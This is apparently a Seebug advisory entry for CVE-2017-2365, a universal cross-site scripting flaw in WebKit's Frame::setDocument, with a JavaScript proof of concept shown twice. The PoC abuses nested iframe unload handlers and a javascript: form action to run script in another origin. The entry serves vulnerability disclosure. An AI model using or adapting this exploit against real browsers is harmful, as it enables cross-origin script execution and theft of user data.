Apple WebKit: UXSS via Frame::setDocument (CVE-2017-2365)

2017-02-23T00:00:00
ID SSV:92706
Type seebug
Reporter Root
Modified 2017-02-23T00:00:00

Description

Here's a snippet of Frame::setDocument. ``` void Frame::setDocument(RefPtr<Document>&& newDocument) { ASSERT(!newDocument || newDocument->frame() == this);

if (m_doc && m_doc-&gt;pageCacheState() != Document::InPageCache)
    m_doc-&gt;prepareForDestruction();

m_doc = newDocument.copyRef();
...

} ``` Before setting |m_doc| to |newDocument|, it calls |prepareForDestruction| that fires unload event handlers. If we call |Frame::setDocument| with the new document |a|, and call |Frame::setDocument| again with the new document |b| in the unload event handler. Then |prepareForDestruction| will be never called on |b|, which means the frame will be never detached from |b|.

PoC: ``` "use strict";

let f = document.documentElement.appendChild(document.createElement("iframe")); let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () => { f.src = "javascript:''";

let b = f.contentDocument.appendChild(document.createElement("iframe"));
b.contentWindow.onunload = () =&gt; {
    f.src = "javascript:''";

    let doc = f.contentDocument;

    f.onload = () =&gt; {
        f.onload = () =&gt; {
            f.onload = null;

            let s = doc.createElement("form");
            s.action = "javascript:alert(location)";
            s.submit();
        };

        f.src = "https://abc.xyz/";
    };

};

};

f.src = "javascript:''";

``` Tested on Safari 10.0.2(12602.3.12.0.1).

                                        
                                            
                                                "use strict";

let f = document.documentElement.appendChild(document.createElement("iframe"));
let a = f.contentDocument.documentElement.appendChild(document.createElement("iframe"));

a.contentWindow.onunload = () =&gt; {
    f.src = "javascript:''";

    let b = f.contentDocument.appendChild(document.createElement("iframe"));
    b.contentWindow.onunload = () =&gt; {
        f.src = "javascript:''";

        let doc = f.contentDocument;

        f.onload = () =&gt; {
            f.onload = () =&gt; {
                f.onload = null;

                let s = doc.createElement("form");
                s.action = "javascript:alert(location)";
                s.submit();
            };

            f.src = "https://abc.xyz/";
        };

    };
};

f.src = "javascript:''";